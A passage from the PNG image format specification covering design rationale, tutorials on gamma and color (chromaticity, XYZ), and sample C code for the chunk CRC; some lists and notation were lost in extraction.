Even though encoders are supposed to represent newlines as LF, it is recommended that decoders not rely on this; it's best to recognize all the common newline combinations (CR, LF, and CR-LF) and display each as a single newline. TAB can be expanded to the proper number of spaces needed to arrive at a column multiple of 8.
Decoders running on systems with non-Latin-1 character set encoding should provide character code remapping so that Latin-1 characters are displayed correctly. Some systems may not provide all the characters defined in Latin-1. Mapping unavailable characters to a visible notation such as "\nnn" is a good fallback. In particular, character codes 127-255 should be displayed only if they are printable characters on the decoding system. Some systems may interpret such codes as control characters; for security, decoders running on such systems should not display such characters literally.
Decoders should be prepared to display text chunks that contain any number of printing characters between newline characters, even though encoders are encouraged to avoid creating lines in excess of 79 characters.
ab
or a^b
a
raised to the power b
.
Note that zero raised to any positive power is zero.
C programmers should be careful not
to misread this notation as exclusive-or.
x,y
that precisely specify a color,
except for the brightness information.
output = input ^ gamma
where both input and output are scaled to the range 0 to 1. Within this specification, gamma refers specifically to the function from display output to image samples.
(This appendix is not part of the formal PNG specification.)
This appendix gives the reasoning behind some of the design decisions in PNG. Many of these decisions were the subject of considerable debate. The authors freely admit that another group might have made different decisions; however, we believe that our choices are defensible and consistent.
Does the world really need yet another graphics format? We believe so. GIF is no longer freely usable, but no other commonly used format can directly replace it, as is discussed in more detail below. We might have used an adaptation of an existing format, for example GIF with an unpatented compression scheme. But this would require new code anyway; it would not be all that much easier to implement than a whole new file format. (PNG is designed to be simple to implement, with the exception of the compression engine, which would be needed in any case.) We feel that this is an excellent opportunity to design a new format that fixes some of the known limitations of GIF.
The features chosen for PNG are intended to address the needs of applications that previously used the special strengths of GIF. In particular, GIF is well adapted for online communications because of its streamability and progressive display capability. PNG shares those attributes.
We have also addressed some of the widely known shortcomings of GIF. In particular, PNG supports truecolor images. We know of no widely used image format that losslessly compresses truecolor images as effectively as PNG does. We hope that PNG will make use of truecolor images more practical and widespread.
Some form of transparency control is desirable for applications in which images are displayed against a background or together with other images. GIF provided a simple transparent-color specification for this purpose. PNG supports a full alpha channel as well as transparent-color specifications. This allows both highly flexible transparency and compression efficiency.
Robustness against transmission errors has been an important consideration. For example, images transferred across the Internet are often mistakenly processed as text, leading to file corruption. PNG is designed so that such errors can be detected quickly and reliably.
PNG has been expressly designed not to be completely dependent on a single compression technique. Although deflate/inflate compression is mentioned in this document, PNG would still exist without it.
Some features have been deliberately omitted from PNG. These choices were made to simplify implementation of PNG, promote portability and interchangeability, and make the format as simple and foolproof as possible for users. In particular:
It is worth noting that private extensions to PNG could easily add these features. We will not, however, include them as part of the basic PNG standard.
PNG also does not support multiple images in one file. This restriction is a reflection of the reality that many applications do not need and will not support multiple images per file. In any case, single images are a fundamentally different sort of object from sequences of images. Rather than make false promises of interchangeability, we have drawn a clear distinction between single-image and multi-image formats. PNG is a single-image format. (But see Multiple-image extension, Section 8.4.)
We considered numerous existing formats before deciding to develop PNG. None could meet the requirements that we felt were important for PNG.
GIF is no longer suitable as a universal standard because of legal entanglements. Although just replacing GIF's compression method would avoid that problem, GIF does not support truecolor images, alpha channels, or gamma correction. The spec has more subtle problems too. Only a small subset of the GIF89 spec is actually portable across a variety of implementations, but there is no codification of the most portable part of the spec.
TIFF (the Tagged Image File Format) is far too complex to meet our goals of simplicity and interchangeability. Defining a TIFF subset would meet that objection, but would frustrate users making the reasonable assumption that a file saved as TIFF from their existing software would load into a program supporting our flavor of TIFF. Furthermore, TIFF is not designed for stream processing, has no provision for progressive display, and does not currently provide any good, legally unencumbered, lossless compression method.
IFF has also been suggested, but is not suitable in detail: available image representations are too machine-specific or not adequately compressed. The overall chunk structure of IFF is a useful concept that PNG has liberally borrowed from, but we did not attempt to be bit-for-bit compatible with IFF chunk structure. Again this is due to detailed issues, notably the fact that IFF FORMs are not designed to be serially writable.
Lossless JPEG is not suitable because it does not provide for the storage of indexed-color images. Furthermore, its lossless truecolor compression is often inferior to that of PNG.
It has been asked why PNG uses network byte order. We have selected one byte ordering and used it consistently. Which order in particular is of little relevance, but network byte order has the advantage that routines to convert to and from it are already available on any platform that supports TCP/IP networking, including all PC platforms. The functions are trivial and will be included in the reference implementation.
PNG's two-dimensional interlacing scheme is more complex to implement than GIF's line-wise interlacing. It also costs a little more in file size. However, it yields an initial image eight times faster than GIF (the first pass transmits only 1/64th of the pixels, compared to 1/8th for GIF). Although this initial image is coarse, it is useful in many situations. For example, if the image is a World Wide Web imagemap that the user has seen before, PNG's first pass is often enough to determine where to click. The PNG scheme also looks better than GIF's, because horizontal and vertical resolution never differ by more than a factor of two; this avoids the odd "stretched" look seen when interlaced GIFs are filled in by replicating scanlines. Preliminary results show that small text in an interlaced PNG image is typically readable about twice as fast as in an equivalent GIF, i.e., after PNG's fifth pass or 25% of the image data, instead of after GIF's third pass or 50%. This is again due to PNG's more balanced increase in resolution.
It might seem natural to standardize on storing sample values proportional to display output intensity (that is, have gamma of 1.0). But in fact, it is common for images to have a gamma of less than 1. There are three good reasons for this:
In practice, image gamma values around 1.0, 1/2.2, and 1/1.45 are all widely found. Older image standards such as GIF and JFIF often do not account for this fact. The exchange of images among a variety of systems has led to widespread problems with images appearing "too dark" or "too light".
PNG expects viewers to compensate for image gamma at the time that the image is displayed. Another possible approach is to expect encoders to convert all images to a uniform gamma at encoding time. While that method would speed viewers slightly, it has fundamental flaws:
Since there will always be images with no gamma or an incorrect recorded gamma, good viewers will need to incorporate gamma adjustment code anyway. Gamma correction at viewing time is thus the right way to go.
Historical note: Version 1.0 of this specification used the gAMA chunk to express the relationship between the file samples and the "original scene intensity" (camera input) rather than the desired display output intensity. This was changed in version 1.1 for the following reasons:
Because the gamma-related recommendations in version 1.0 were imprecise, it was not clear what value to put in a gAMA chunk in common situations. For an image drawn on a CRT display with no LUT under unknown viewing conditions, an argument could be made for any value between 40000 and 50000. Real applications were observed to write 45000 or 45455, and the latter is recommended by the current specification.
See Gamma Tutorial (Chapter 13) for more information.
PNG uses "unassociated" or "non-premultiplied" alpha so that images with separate transparency masks can be stored losslessly. Another common technique, "premultiplied alpha", stores pixel values premultiplied by the alpha fraction; in effect, the image is already composited against a black background. Any image data hidden by the transparency mask is irretrievably lost by that method, since multiplying by a zero alpha value always produces zero.
Some image rendering techniques generate images with premultiplied alpha (the alpha value actually represents how much of the pixel is covered by the image). This representation can be converted to PNG by dividing the sample values by alpha, except where alpha is zero. The result will look good if displayed by a viewer that handles alpha properly, but will not look very good if the viewer ignores the alpha channel.
Although each form of alpha storage has its advantages, we did not want to require all PNG viewers to handle both forms. We standardized on non-premultiplied alpha as being the lossless and more general case.
PNG includes filtering capability because filtering can significantly reduce the compressed size of truecolor and grayscale images. Filtering is also sometimes of value on indexed-color images, although this is less common.
The filter algorithms are defined to operate on bytes, rather than pixels; this gains simplicity and speed with very little cost in compression performance. Tests have shown that filtering is usually ineffective for images with fewer than 8 bits per sample, so providing pixelwise filtering for such images would be pointless. For 16 bit/sample data, bytewise filtering is nearly as effective as pixelwise filtering, because MSBs are predicted from adjacent MSBs, and LSBs are predicted from adjacent LSBs.
The encoder is allowed to change filters for each new scanline. This creates no additional complexity for decoders, since a decoder is required to contain defiltering logic for every filter type anyway. The only cost is an extra byte per scanline in the pre-compression datastream. Our tests showed that when the same filter is selected for all scanlines, this extra byte compresses away to almost nothing, so there is little storage cost compared to a fixed filter specified for the whole image. And the potential benefits of adaptive filtering are too great to ignore. Even with the simplistic filter-choice heuristics so far discovered, adaptive filtering usually outperforms fixed filters. In particular, an adaptive filter can change behavior for successive passes of an interlaced image; a fixed filter cannot.
Most graphics file formats include the ability to store some textual information along with the image. But many applications need more than that: they want to be able to store several identifiable pieces of text. For example, a database using PNG files to store medical X-rays would likely want to include patient's name, doctor's name, etc. A simple way to do this in PNG would be to invent new private chunks holding text. The disadvantage of such an approach is that other applications would have no idea what was in those chunks, and would simply ignore them. Instead, we recommend that textual information be stored in standard text chunks with suitable keywords. Use of text tells any PNG viewer that the chunk contains text that might be of interest to a human user. Thus, a person looking at the file with another viewer will still be able to see the text, and even understand what it is if the keywords are reasonably self-explanatory. (To this end, we recommend spelled-out keywords, not abbreviations that will be hard for a person to understand. Saving a few bytes on a keyword is false economy.)
The ISO 8859-1 (Latin-1) character set was chosen as a compromise between functionality and portability. Some platforms cannot display anything more than 7-bit ASCII characters, while others can handle characters beyond the Latin-1 set. We felt that Latin-1 represents a widely useful and reasonably portable character set. Latin-1 is a direct subset of character sets commonly used on popular platforms such as Microsoft Windows and X Windows. It can also be handled on Macintosh systems with a simple remapping of characters.
This section gives the reasoning behind some of the design decisions in the iTXt chunk.
Unicode is too fancy for the keyword, which is intended for both machine and human consumption. Even applications without Unicode support should at least be able to understand the keyword (to selectively delete chunks, for example).
UTF-8 is used elsewhere in this chunk, and ASCII, unlike Latin-1, is compatible with UTF-8. There is a translated keyword, so restricting the keyword to ASCII would not be a hardship. So why use Latin-1? Because all other existing chunks containing keywords use Latin-1, so applications can reuse code they already contain.
We have deliberately avoided defining a null compression method in the past (for tEXt/zTXt), so that there would be no temptation to use it in IHDR.
It is not always clear how to render Unicode text unless it is known what language is represented by the text. Also, multiple iTXt chunks containing the same message in different languages could be present, and a decoder could automatically select the one most appropriate for its user.
Registered keywords, like "Description", are registered only once, in a single language (probably English), so that they can be recognized automatically. To be intelligible to speakers of another language, a translation must be provided.
Including a MIME charset name would be more general, and allow the use of legacy character sets. But support for Unicode is growing, and allowing only Unicode is conceptually simpler and likely to eventually lead to greater interoperability.
UCS-2 is short-sighted. Neither UCS-2 nor UCS-4 is compatible with ASCII. UTF-8 is both backward compatible with ASCII and forward compatible with UCS-4, and is generally the preferred encoding for interchange (as opposed to internal representation).
The first eight bytes of a PNG file always contain the following values:
(decimal) 137 80 78 71 13 10 26 10 (hexadecimal) 89 50 4e 47 0d 0a 1a 0a (ASCII C notation) \211 P N G \r \n \032 \n
This signature both identifies the file as a PNG file and provides for immediate detection of common file-transfer problems. The first two bytes distinguish PNG files on systems that expect the first two bytes to identify the file type uniquely. The first byte is chosen as a non-ASCII value to reduce the probability that a text file may be misrecognized as a PNG file; also, it catches bad file transfers that clear bit 7. Bytes two through four name the format. The CR-LF sequence catches bad file transfers that alter newline sequences. The control-Z character stops file display under MS-DOS. The final line feed checks for the inverse of the CR-LF translation problem.
A decoder may further verify that the next eight bytes contain an IHDR chunk header with the correct chunk length; this will catch bad transfers that drop or alter null (zero) bytes.
Note that there is no version number in the signature, nor indeed anywhere in the file. This is intentional: the chunk mechanism provides a better, more flexible way to handle format extensions, as explained in Chunk naming conventions (Section 12.14).
The chunk design allows decoders to skip unrecognized or uninteresting chunks: it is simply necessary to skip the appropriate number of bytes, as determined from the length field.
Limiting chunk length to 231-1
bytes avoids possible problems for
implementations that cannot conveniently handle 4-byte unsigned values.
In practice, chunks will usually be much shorter than that anyway.
A separate CRC is provided for each chunk in order to detect badly-transferred images as quickly as possible. In particular, critical data such as the image dimensions can be validated before being used.
The chunk length is excluded from the CRC so that the CRC can be calculated as the data is generated; this avoids a second pass over the data in cases where the chunk length is not known in advance. Excluding the length from the CRC does not create any extra risk of failing to discover file corruption, since if the length is wrong, the CRC check will fail: the CRC will be computed on the wrong set of bytes and then be tested against the wrong value from the file.
The chunk naming conventions allow safe, flexible extension of the PNG format. This mechanism is much better than a format version number, because it works on a feature-by-feature basis rather than being an overall indicator. Decoders can process newer files if and only if the files use no unknown critical features (as indicated by finding unknown critical chunks). Unknown ancillary chunks can be safely ignored. We decided against having an overall format version number because experience has shown that format version numbers hurt portability as much as they help. Version numbers tend to be set unnecessarily high, leading to older decoders rejecting files that they could have processed (this was a serious problem for several years after the GIF89 spec came out, for example). Furthermore, private extensions can be made either critical or ancillary, and standard decoders should react appropriately; overall version numbers are no help for private extensions.
A hypothetical chunk for vector graphics would be a critical chunk, since if ignored, important parts of the intended image would be missing. A chunk carrying the Mandelbrot set coordinates for a fractal image would be ancillary, since other applications could display the image without understanding what the image represents. In general, a chunk type should be made critical only if it is impossible to display a reasonable representation of the intended image without interpreting that chunk.
The public/private property bit ensures that any newly defined public chunk type name cannot conflict with proprietary chunks that could be in use somewhere. However, this does not protect users of private chunk names from the possibility that someone else may use the same chunk name for a different purpose. It is a good idea to put additional identifying information at the start of the data for any private chunk type.
When a PNG file is modified, certain ancillary chunks may need to be changed to reflect changes in other chunks. For example, a histogram chunk needs to be changed if the image data changes. If the file editor does not recognize histogram chunks, copying them blindly to a new output file is incorrect; such chunks should be dropped. The safe/unsafe property bit allows ancillary chunks to be marked appropriately.
Not all possible modification scenarios are covered by the safe/unsafe semantics. In particular, chunks that are dependent on the total file contents are not supported. (An example of such a chunk is an index of IDAT chunk locations within the file: adding a comment chunk would inadvertently break the index.) Definition of such chunks is discouraged. If absolutely necessary for a particular application, such chunks can be made critical chunks, with consequent loss of portability to other applications. In general, ancillary chunks can depend on critical chunks but not on other ancillary chunks. It is expected that mutually dependent information should be put into a single chunk.
In some situations it may be unavoidable to make one ancillary chunk dependent on another. Although the chunk property bits are insufficient to represent this case, a simple solution is available: in the dependent chunk, record the CRC of the chunk depended on. It can then be determined whether that chunk has been changed by some other program.
The same technique can be useful for other purposes. For example, if a program relies on the palette being in a particular order, it can store a private chunk containing the CRC of the PLTE chunk. If this value matches when the file is again read in, then it provides high confidence that the palette has not been tampered with. Note that it is not necessary to mark the private chunk unsafe-to-copy when this technique is used; thus, such a private chunk can survive other editing of the file.
A viewer may not be able to provide as many colors as are listed in the image's palette. (For example, some colors could be reserved by a window system.) To produce the best results in this situation, it is helpful to have information about the frequency with which each palette index actually appears, in order to choose the best palette for dithering or to drop the least-used colors. Since images are often created once and viewed many times, it makes sense to calculate this information in the encoder, although it is not mandatory for the encoder to provide it.
Other image formats have usually addressed this problem by specifying that the palette entries should appear in order of frequency of use. That is an inferior solution, because it doesn't give the viewer nearly as much information: the viewer can't determine how much damage will be done by dropping the last few colors. Nor does a sorted palette give enough information to choose a target palette for dithering, in the case that the viewer needs to reduce the number of colors substantially. A palette histogram provides the information needed to choose such a target palette without making a pass over the image data.
(This appendix is not part of the formal PNG specification.)
It would be convenient for graphics programmers if all of the components of an imaging system were linear. The voltage coming from an electronic camera would be directly proportional to the intensity (power) of light in the scene, the light emitted by a CRT would be directly proportional to its input voltage, and so on. However, real-world devices do not behave in this way. All CRT displays, almost all photographic film, and many electronic cameras have nonlinear signal-to-light-intensity or intensity-to-signal characteristics.
Fortunately, all of these nonlinear devices have a transfer function that is approximated fairly well by a single type of mathematical function: a power function. This power function has the general equation
output = input ^ exponent
The exponent is often called "gamma" and denoted by the Greek letter gamma.
By convention, input
and output
are both scaled
to the range 0
to 1, with 0 representing black and 1 representing maximum white (or
red, etc). Normalized in this way, the power function is completely
described by the exponent.
So, given a particular device, we can measure its output as a function of its input, fit a power function to this measured transfer function, and extract the exponent. People often say "this device has a gamma of 2.2" as a shorthand for "this device has a power-law response with an exponent of 2.2". People also talk about the gamma of a mathematical transform, or of a lookup table in a frame buffer, if its input and output are related by the power-law expression above.
But using the term "gamma" to refer to the exponents of transfer functions of many different stages in imaging pipelines has led to confusion. Therefore, this specification uses "gamma" to refer specifically to the function from display output to image samples, and simply uses "exponent" when referring to other functions.
Real imaging systems will have several components, and more than one of these can be nonlinear. If all of the components have transfer characteristics that are power functions, then the transfer function of the entire system is also a power function. The exponent of the whole system's transfer function is just the product of all of the individual exponents of the separate stages in the system.
Also, stages that are linear pose no problem, since a power function with an exponent of 1.0 is really a linear function. So a linear transfer function is just a special case of a power function, with an exponent of 1.0.
Thus, as long as our imaging system contains only stages with linear and power-law transfer functions, we can meaningfully talk about the exponent of the entire system. This is indeed the case with most real imaging systems.
If the end-to-end exponent of an imaging system is 1.0, its output is proportional to its input. This means that the ratio between the intensities of any two areas in the reproduced image will be the same as it was in the original scene. It might seem that this should always be the goal of an imaging system: to accurately reproduce the tones of the original scene. Alas, that is not the case.
One complication is that the response of the human visual system to low light levels is not a scaled-down version of its response to high light levels. Therefore, if the display device emits less intense light than entered the capture device (as is usually the case for television cameras and television sets, for example), an end-to-end linear response will not produce an image that appears correct. There are also other perceptual factors, like the affect of the ambient light level and the field of view surrounding the display, and physical factors, like reflectance of ambient light off the display.
Good end-to-end exponents are determined from experience. For example, for photographic prints it's about 1.0; for slides intended to be projected in a dark room it's about 1.5; for television it's about 1.14.
All CRT displays have a power-law transfer characteristic with an exponent of about 2.2. This is mainly due to the physical processes involved in controlling the electron beam in the electron gun.
An exception to this rule is fancy "calibrated" CRTs that have internal electronics to alter their transfer function. If you have one of these, you probably should believe what the manufacturer tells you its exponent is. But in all other cases, assuming 2.2 is likely to be pretty accurate.
There are various images around that purport to measure a display system's exponent, usually by comparing the intensity of an area containing alternating white and black with a series of areas of continuous gray of different intensity. These are usually not reliable.  An image that uses alternating black and white horizontal lines (such as the gamma.png test image at ftp://ftp.uu.net/graphics/png/images/suite/gamma.png) is much better, but even it may be inaccurate at high "picture" settings on some CRTs.
If you have a good photometer, you can measure the actual light output of a CRT as a function of input voltage and fit a power function to the measurements. However, note that this procedure is very sensitive to the CRT's black level adjustment, somewhat sensitive to its picture adjustment, and also affected by ambient light. Furthermore, CRTs spread some light from bright areas of an image into nearby darker areas; a single bright spot against a black background may be seen to have a "halo". Your measuring technique will need to minimize the effects of this.
Because of the difficulty of measuring the exponent, using either test images or measuring equipment, you're usually better off just assuming 2.2 rather than trying to measure it.
A CRT has an exponent of 2.2, and we can't change that. To get an end-to-end exponent closer to 1, we need to have at least one other component of the "image pipeline" that is nonlinear. If, in fact, there is only one nonlinear stage in addition to the CRT, then it's traditional to say that the other nonlinear stage provides "gamma correction" to compensate for the CRT. However, exactly where the "correction" is done depends on circumstance.
In all broadcast video systems, gamma correction is done in the camera. This choice was made because it was more cost effective to place the expensive processing in the small number of capture devices (studio television cameras) than in the large number of broadcast receivers. The original NTSC video standard required cameras to have a transfer function with an exponent of 1/2.2, or about 0.45. Recently, a more complex two-part transfer function has been adopted [SMPTE-170M], but its behavior can be well approximated by a power function with an exponent of 0.52. When the resulting image is displayed on a CRT with an exponent of 2.2, the end-to-end exponent is about 1.14, which has been found to be appropriate for typical television studio conditions and television viewing conditions.
These days, video signals are often digitized and stored in computer frame buffers. The digital image is intended to be sent through a CRT, which has exponent 2.2, so the image has a gamma of 1/2.2.
Computer rendering programs often produce samples proportional to scene intensity. Suppose the desired end-to-end exponent is near 1, and the program would like to write its samples directly into the frame buffer. For correct display, the CRT output intensity must be nearly proportional to the sample values in the frame buffer. This can be done with a special hardware lookup table between the frame buffer and the CRT hardware. The lookup table (often called LUT) is loaded with a mapping that implements a power function with an exponent near 1/2.2, providing "gamma correction" for the CRT gamma.
Thus, gamma correction sometimes happens before the frame buffer, sometimes after. As long as images created on a particular platform are always displayed on that platform, everything is fine. But when people try to exchange images, differences in gamma correction conventions often result in images that seem far too bright and washed out, or far too dark and contrasty.
So, is it better to do gamma correction before or after the frame buffer?
In an ideal world, sample values would be stored as floating-point numbers, there would be lots of precision, and it wouldn't really matter much. But in reality, we're always trying to store images in as few bits as we can.
If we decide to use samples proportional to intensity, and do the gamma correction in the frame buffer LUT, it turns out that we need to use at least 12 bits for each of red, green, and blue to have enough precision in intensity. With any less than that, we will sometimes see "contour bands" or "Mach bands" in the darker areas of the image, where two adjacent sample values are still far enough apart in intensity for the difference to be visible.
However, through an interesting coincidence, the human eye's subjective perception of brightness is related to the physical stimulation of light intensity in a manner that is very much like the power function used for gamma correction. If we apply gamma correction to measured (or calculated) light intensity before quantizing to an integer for storage in a frame buffer, we can get away with using many fewer bits to store the image. In fact, 8 bits per color is almost always sufficient to avoid contouring artifacts. This is because, since gamma correction is so closely related to human perception, we are assigning our 256 available sample codes to intensity values in a manner that approximates how visible those intensity changes are to the eye. Compared to a linearly encoded image, we allocate fewer sample values to brighter parts of the tonal range and more sample values to the darker portions of the tonal range.
Thus, for the same apparent image quality, images using gamma-encoded sample values need only about two-thirds as many bits of storage as images using linearly encoded samples.
When more than two nonlinear transfer functions are involved in the image pipeline, the term "gamma correction" becomes too vague. If we consider a pipeline that involves capturing (or calculating) an image, storing it in an image file, reading the file, and displaying the image on some sort of display screen, there are at least 5 places in the pipeline that could have nonlinear transfer functions. Let's give a specific name to each exponent:
In addition, let's add a few other names:
display_exponent = LUT_exponent * CRT_exponent
gamma = 1.0 / (decoding_exponent * display_exponent)
When displaying an image file, the image decoding program is responsible for making gamma equal to the value specified in the gAMA chunk, by selecting the decoding exponent appropriately:
decoding_exponent = 1.0 / (gamma * display_exponent)
The display exponent might be known for this machine, or it might be obtained from the system software, or the user might have to be asked what it is.
In digital video systems, the camera exponent is about 0.52 by declaration of the various video standards documents. The CRT exponent is 2.2 as usual, while the encoding exponent, decoding exponent, and LUT exponent are all 1.0. As a result, the end-to-end exponent is about 1.14.
On frame buffers that have hardware gamma correction tables, and that are calibrated to display samples that are proportional to display output intensity, the display exponent is 1.0.
Many workstations and X terminals and PC clones lack gamma correction lookup tables. Here, the LUT exponent is always 1.0, so the display exponent is 2.2.
On the Macintosh, there is a LUT. By default, it is loaded with a
table whose exponent is 1/1.45, giving a display exponent (LUT and CRT
combined) of about 1.52. Some Macs have a "Gamma" control panel with
selections labeled 1.0, 1.2, 1.4, 1.8, or 2.2. These settings load
alternate LUTs, but beware: the selection labeled with the value g
loads
a LUT with exponent g/2.61
, yielding
display_exponent = (g/2.61) * 2.2
On recent SGI systems, there is a hardware gamma-correction
table whose contents are controlled by the (privileged) gamma
program. The exponent of the table is actually the reciprocal of
the number g
that gamma prints. You can
obtain g
from the file
/etc/config/system.glGammaVal and calculate
display_exponent = 2.2 / g
You will find SGI systems with g
set to 1.0 and 2.2
(or higher), but the default when machines are shipped is 1.7.
On NeXT systems the LUT has exponent 1/2.2 by default, but it can be modified by third-party applications.
In summary, for images designed to need no correction on these platforms:
Platform LUT exponent Default LUT exponent Default gAMA PC clone 1.0 1.0 45455 Macintosh g/2.61 1.8/2.61 = 1/1.45 65909 SGI 1/g 1/1.7 77273 NeXT 1/g 1/2.2 100000
The default gAMA values assume a CRT display.
The original NTSC video standards specified a simple power-law
camera transfer function with an exponent of 1/2.2
(about 0.45). This
is not possible to implement exactly in analog hardware because the
function has infinite slope at x=0
, so all cameras deviated to some
degree from this ideal. More recently, a new camera transfer function
that is physically realizable has been accepted as a standard [SMPTE-170M].
It is
if (Vin < 0.018) Vout = 4.5 * Vin
if (Vin >= 0.018) Vout = 1.099 * (Vin^0.45
) - 0.099
where Vin
and Vout
are measured on
a scale of 0 to 1. Although
the exponent remains 0.45, the multiplication and subtraction change
the shape of the transfer function, so it is no longer a pure power
function. It can be well approximated, however, by a power function
with exponent 0.52.
The PAL and SECAM video standards specify a power-law camera transfer function with an exponent of 1/2.8 (about 0.36). However, this is too low in practice, so real cameras are likely to have exponents close to NTSC practice.
Charles Poynton's "Gamma FAQ" [GAMMA-FAQ] is a excellent source of information about gamma, although it claims that CRTs have an exponent of 2.5. See also his book [DIGITAL-VIDEO].
(This appendix is not part of the formal PNG specification.)
The cHRM chunk is used, together with the gAMA chunk, to convey precise color information so that a PNG image can be displayed or printed with better color fidelity than is possible without this information. The preceding chapters state how this information is encoded in a PNG image. This tutorial briefly outlines the underlying color theory for those who might not be familiar with it.
Note that displaying an image with incorrect gamma will produce much larger color errors than failing to use the chromaticity data. First be sure the monitor set-up and gamma correction are right, then worry about chromaticity.
The color of an object depends not only on the precise spectrum of light emitted or reflected from it, but also on the observer--their species, what else they can see at the same time, even what they have recently looked at! Furthermore, two very different spectra can produce exactly the same color sensation. Color is not an objective property of real-world objects; it is a subjective, biological sensation. However, by making some simplifying assumptions (such as: we are talking about human vision) it is possible to produce a mathematical model of color and thereby obtain good color accuracy.
Display the same RGB data on three different monitors, side by side, and you will get a noticeably different color balance on each display. This is because each monitor emits a slightly different shade and intensity of red, green, and blue light. RGB is an example of a device-dependent color model--the color you get depends on the device. This also means that a particular color--represented as say RGB 87, 146, 116 on one monitor--might have to be specified as RGB 98, 123, 104 on another to produce the same color.
A full physical description of a color would require specifying the exact spectral power distribution of the light source. Fortunately, the human eye and brain are not so sensitive as to require exact reproduction of a spectrum. Mathematical, device-independent color models exist that describe fairly well how a particular color will be seen by humans. The most important device-independent color model, to which all others can be related, was developed by the International Commission on Illumination (CIE, in French) and is called "CIE XYZ" or simply "XYZ".
In XYZ, X is the sum of a weighted power distribution over the whole visible spectrum. So are Y and Z, each with different weights. Thus any arbitrary spectral power distribution is condensed down to just three floating-point numbers. The weights were derived from color matching experiments done on human subjects in the 1920s. CIE XYZ has been an International Standard since 1931, and it has a number of useful properties:
Color models based on XYZ have been used for many years by people who need accurate control of color--lighting engineers for film and TV, paint and dyestuffs manufacturers, and so on. They are thus proven in industrial use. Accurate, device-independent color started to spread from high-end, specialized areas into the mainstream during the late 1980s and early 1990s, and PNG takes notice of that trend.
Traditionally, image file formats have used uncalibrated, device-dependent color. If the precise details of the original display device are known, it becomes possible to convert the device-dependent colors of a particular image to device-independent ones. Making simplifying assumptions, such as working with CRTs (which are much easier than printers), all we need to know are the XYZ values of each primary color and the CRT exponent.
So why does PNG not store images in XYZ instead of RGB? Well, two reasons. First, storing images in XYZ would require more bits of precision, which would make the files bigger. Second, all programs would have to convert the image data before viewing it. Whether calibrated or not, all variants of RGB are close enough that undemanding viewers can get by with simply displaying the data without color correction. By storing calibrated RGB, PNG retains compatibility with existing programs that expect RGB data, yet provides enough information for conversion to XYZ in applications that need precise colors. Thus, we get the best of both worlds.
Chromaticity is an objective measurement of the color of an object,
leaving aside the brightness information. Chromaticity uses two
parameters x
and y
, which are readily calculated
from XYZ:
x = X / (X + Y + Z) y = Y / (X + Y + Z)
XYZ colors having the same chromaticity values will appear to
have the same hue but can vary in absolute brightness. Notice that
x,y
are dimensionless ratios, so they have the same values no
matter what units we've used for X,Y,Z
.
The Y
value of an XYZ color is directly proportional to its
absolute
brightness and is called the luminance of the color. We can describe a
color either by XYZ coordinates or by chromaticity x,y
plus
luminance Y
. The XYZ form has the advantage that it is linearly
related to RGB intensities.
The "white point" of a monitor is the chromaticity x,y
of the monitor's nominal white, that is, the color produced when
R=G=B=maximum
.
It's customary to specify monitor colors by giving the chromaticities of the individual phosphors R, G, and B, plus the white point. The white point allows one to infer the relative brightnesses of the three phosphors, which isn't determined by their chromaticities alone.
Note that the absolute brightness of the monitor is not specified.
For computer graphics work, we generally don't care very much about
absolute brightness levels. Instead of dealing with absolute XYZ
values (in which X,Y,Z
are expressed in physical units of radiated
power, such as candelas per square meter), it is convenient to work in
"relative XYZ" units, where the monitor's nominal white is taken to have
a luminance (Y
) of 1.0. Given this assumption, it's simple to compute
XYZ coordinates for the monitor's white, red, green, and blue from their
chromaticity values.
Why does cHRM use x,y
rather than XYZ? Simply
because that is how manufacturers print the information in their spec
sheets! Usually, the first thing a program will do is convert the
cHRM chromaticities into relative XYZ space.
If a PNG file has the gAMA and cHRM chunks, the source RGB values can be converted to XYZ. This lets you:
Y
component)
Make a few simplifying assumptions first, like the monitor really
is jet black with no input and the guns don't interfere with one
another. Then, given that you know the CIE XYZ values for each of red,
green, and blue for a particular monitor, you put them into a matrix
M
:
Xr Xg Xb M = Yr Yg Yb Zr Zg Zb
RGB intensity samples normalized to the range 0 to 1 can be converted to XYZ by matrix multiplication. (If you have gamma-encoded RGB samples, first undo the gamma encoding.)
X R Y = M G Z B
In other words,
X = Xr*R + Xg*G + Xb*B
, and similarly
for Y
and Z
. You can go the other way too:
R X G = invM Y B Z
where invM
is the inverse of the matrix M
.
The gamut of a device is the subset of visible colors that the device can display. (It has nothing to do with gamma.) The gamut of an RGB device can be visualized as a polyhedron in XYZ space; the vertices correspond to the device's black, blue, red, green, magenta, cyan, yellow, and white.
Different devices have different gamuts, in other words one device will be able to display certain colors (usually highly saturated ones) that another device cannot. The gamut of a particular RGB device can be determined from its R, G, and B chromaticities and white point (the same values given in the cHRM chunk). The gamut of a color printer is more complex and can be determined only by measurement. However, printer gamuts are typically smaller than monitor gamuts, meaning that there can be many colors in a displayable image that cannot physically be printed.
Converting image data from one device to another generally results in gamut mismatches--colors that cannot be represented exactly on the destination device. The process of making the colors fit, which can range from a simple clip to elaborate nonlinear scaling transformations, is termed gamut mapping. The aim is to produce a reasonable visual representation of the original image.
References [COLOR-1] through [COLOR-5] provide more detail about color theory.
The following sample code represents a practical implementation of the CRC (Cyclic Redundancy Check) employed in PNG chunks. (See also ISO 3309 [ISO-3309] or ITU-T V.42 [ITU-T-V42] for a formal specification.)
The sample code is in the ANSI C programming language. Non C users may find it easier to read with these hints:
&
^
>>
!
++
N++
increments the variable N
.
0xNNN
0x
introduces a hexadecimal (base 16) constant. Suffix
L
indicates a long value (at least 32 bits).
/* Table of CRCs of all 8-bit messages. */ unsigned long crc_table[256]; /* Flag: has the table been computed? Initially false. */ int crc_table_computed = 0; /* Make the table for a fast CRC. */ void make_crc_table(void) { unsigned long c; int n, k; for (n = 0; n < 256; n++) { c = (unsigned long) n; for (k = 0; k < 8; k++) { if (c & 1) c = 0xedb88320L ^ (c >> 1); else c = c >> 1; } crc_table[n] = c; } crc_table_computed = 1; } /* Update a running CRC with the bytes buf[0..len-1]--the CRC should be initialized to all 1's, and the transmitted value is the 1's complement of the final running CRC (see the crc() routine below)). */ unsigned long update_crc(unsigned long crc, unsigned char *buf, int len) { unsigned long c = crc; int n; if (!crc_table_computed) make_crc_table(); for (n = 0; n < len; n++) { c = crc_table[(c ^ buf[n]) & 0xff] ^ (c >> 8); } return c; } /* Return the CRC of the bytes buf[0..len-1]. */ unsigned long crc(unsigned char *buf, int len) { return update_crc(0xffffffffL, buf, len) ^ 0xffffffffL; }
(This appendix is not part of the formal PNG specification.)
This appendix gives the locations of some Internet resources for PNG software developers. By the nature of the Internet, the list is incomplete and subject to change.
